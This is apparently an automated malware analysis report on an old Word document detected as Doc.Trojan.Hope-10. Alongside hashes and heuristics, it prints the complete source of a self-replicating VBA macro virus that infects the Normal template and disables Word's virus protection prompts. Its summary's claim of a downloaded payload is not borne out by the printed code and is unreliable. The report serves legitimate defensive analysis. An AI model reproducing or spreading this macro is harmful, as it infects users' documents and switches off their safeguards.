Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aecb08f0bcf2c10b…

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-10-26 02:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d605d1f31325d81e69eb9c879bb1b405 SHA-1: 05a73f5d34fd82765cab6033e2ebd221345c7f13 SHA-256: aecb08f0bcf2c10b2451cd7d250df0264ed581c736b8193d2a762003df4bbcb9
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that is designed to execute code upon opening the document. The macro attempts to delete existing code and insert new code from a variable 'x', which is populated from the first lines of the macro itself. This suggests an attempt to obfuscate or replace the macro's functionality, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.Hope-10' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Hope-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1269 bytes
SHA-256: 9fabd98beb9e9a9c8c532e79a7d12e7c30c1e6242c9ff9e95937dbcfff931b8e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
With ThisDocument
With .VBProject
With .VBComponents
With .Item(1)
With .CodeModule
x = .Lines(1, .CountOfLines)
End With
End With
End With
End With
End With
With NormalTemplate
With .VBProject
With .VBComponents
With .Item(1)
With .CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString x
End With
End With
End With
End With
End With
With ActiveDocument
With .VBProject
With .VBComponents
With .Item(1)
With .CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString x
End With
End With
End With
End With
End With
With Options
.VirusProtection = Int(Rnd * 0)
.SaveNormalPrompt = Int(Rnd * 0)
.ConfirmConversions = Int(Rnd * 0)
End With
With ActiveDocument
.SaveAs FileName:=.FullName
End With
End Sub
'Excessive Friends Want To Come With Me...
'I Tell Them My Life Is No Good But They Insist...
'Time To Learn What Happens When You Make A Mistake...
'Don't Cut Too Deep Or You Will Be Missed!
'End With By Lys Kovick... Dedicated To A Friend!